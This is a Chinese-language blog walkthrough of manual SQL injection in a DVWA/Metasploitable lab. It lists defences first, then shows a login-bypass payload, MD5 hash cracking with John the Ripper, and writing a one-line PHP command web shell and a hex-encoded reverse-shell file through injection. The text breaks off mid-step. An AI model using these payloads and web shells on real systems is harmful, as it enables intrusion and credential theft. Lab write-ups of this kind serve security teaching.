手动漏洞挖掘-SQL注入小谈

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

服务器端程序将用户输入参数做为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器。

根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

防护

归纳一下,主要有以下几点:
1.永远不要信任用户的输入。对用户的输入进行校验,可以通过 正则表达式,或限制长度;对单引号和
双"-"进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用 存储过程进行数据查询存取。
3.永远不要使用 管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的 错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助 软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思 网站安全平台检测工具。MDCSOFT SCAN等。采用 MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。

手工漏洞挖掘-----SQL注入
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器

用户登录判断:

SELECT * FROM user WHERE user='uname' AND password='pass'

SELECT * FROM user WHERE user='name' AND password=''OR"="


服务器端输入框前面的内容可能是 select first_name,surname from users where id='  内容',所以我们可以在内容中加入sql注入语句来进行注入;(--后面有一个空格,没有加号,用加号是以为url会自动把空格变成+)



在注入的时候,有可能会被拦截,所以我们可以用ASCII码来进行替换。有可能跳过过滤不严的过滤机制。


我在这里用的是DVWA,所以这里猜的是DVWA的表名。对于破解MD5,我们可以使用kali中的一款叫做john的工具,John the ripper是基于字典的密码破解工具。它使用内容全是密码的单词表,然后使用单词表中的每一个密码,试图破解某个特定的密码散列。换句话说,它又叫蛮力密码破解,这是一种最基本的密码破解方式。不过它也是最耗费时间、最耗费处理器资源的一种方法。尝试的密码越多,所需的时间就越长。


John有别于Hdra之类的工具。Hydra进行盲目的蛮力攻击,其方法是在FTP服务器或Telnet服务器上的服务后台程序上尝试用户名/密码组合。不过,John首先需要散列。所以,对黑客来说更大的挑战是,先搞到需要破解的散列。如今,使用网上随处可得的免费彩虹表(rainbow table),比较容易破解散列。只要进入到其中一个网站,提交散列;要是散列由一个常见单词组成,那么该网站几乎立马就会显示该单词。彩虹表基本上将常见单词及对应散列存储在一个庞大的数据库中。数据库越大,涵盖的单词就越多。

但是如果你想在自己的系统上本地破解密码,那么John是值得一试的好工具之一。John跻身于Kali Linux的十大安全工具。在Ubuntu上,它可以通过新立得软件包管理器(synaptic package manager)来安装。

root@kali:~# john --format=raw-MD5 dvwa.txt

root@kali:~# cd .john/

root@kali:~/.john# ls
john.log  john.pot

root@kali:~/.john# cat john.log

root@kali:~/.john# cat john.pot

root@kali:~/.john# rm *       //删除破解日志,才能进行下面的工作

root@kali:~/.john# john --format=raw-MD5 dvwa.txt


然后我们cd .john/ 可以看到两个文件,john.log和john.pot,log是日志文件,我们看一下pot,就可以看到密码了。

也可以

使用show选项,列出所有被破解的密码。

root@kali:~# john --show ~/dvwa.txt


我们这里用burp来修改sql语句


看,执行成功,文件的内容出来了,下面再来看一下写入文件的命令

这里我们用kali来连接我们的靶机:

root@kali:~# ssh [email protected]
msfadmin@metasploitbale:~$ cd /var/

msfadmin@metasploitbale:/var$ cd www/

msfadmin@metasploitbale:/var/www$ ls
1.php  dvwa       mutillidea   phpMyAdmin  tikiwiki    twiki
dva    index.php  phpinfo.php  test        tikiwiki-old

msfadmin@metasploitbale:/var/www/$ cd dvwa/

msfadmin@metasploitbale:/var/www/dvwa$ ls
about.php      dvwa         index.php         php.ini
GHANGELOG.txt  external     instructions.php  README.txt
config         favicon.ico  login.php         roubots.txt
COPYING.txt    hackable     logout.php        security.php
docs           ids_log.php  phpinfo.php       setup.php

msfadmin@metasploitbale:/var/www/dvwa$ suodo find / -name a.php

msfadmin@metasploitbale:/var/www/dvwa$ cd /var/lib/mysql/

msfadmin@metasploitbale:/var/lib/mysql$ ls -l

msfadmin@metasploitbale:/var/lib/mysql$ sudo -i

root@metasploitbale:/var/lib/mysql/dvwa# ls
a.php    guestbook.frm  gusetbook.MYI  users.MYD
db.opt   guestbook.MYD  users.frm      users.MYI

root@metasploitbale:/var/lib/mysql/dvwa# cat a.php
<?php passthru($_GET['cmd']);?>root@metasploitbale:/var/lib/mysql/dvwa#

root@metasploitbale:/var/lib/mysql/dvwa# ls -l

root@metasploitbale:/var/lib/mysql/dvwa# cat /etc/passwd | grep mysql
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/lib/false

root@metasploitbale:/var/lib/mysql/dvwa# cd /var/www/

root@metasploitbale:/var/www# ls -ld /tmp

root@metasploitbale:/var/www# cd /tmp/

root@metasploitbale:/tmp# ls -l a.php 

root@metasploitbale:/tmp# ps aux | grep mysql

root@kali:~# cp /user/share/webshells/php/
findsock.c               php-findsock-shell.php  qsd-php-backdoor.php
php-backdoor.php         php-reverse-shell.php   simple-backdoor.php

root@kali:~# cp /user/share/webshells/php/php-reverse-shell.php ./b.php

root@kali:~# ls
b.php  dvwa.txt  公共  模板  视频  图片  文档  下载  音乐  桌面

root@kali:~# vi b.php

root@kali:~# cat b.php

root@kali:~# cat b.php | xxd -ps      固定一行显示

root@kali:~# cat b.php | xxd -ps | tr -d '\n'          删除换行符

root@metasploitbale:~# cd /tmp/

root@metasploitbale:/tmp# cat a.php
<?php passthru($_GET['cmd']);?>root@metasploitbale:/var/lib/mysql/dvwa#

root@kali:~# vi c.php
<?php passthru($_GET['cmd']);?>

root@kali:~# cat c.php | xxd -ps | tr -d '\n'




没有权限啊。那我们来看一下默认路径吧,

ok,可以写进去࿰

  • 4
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值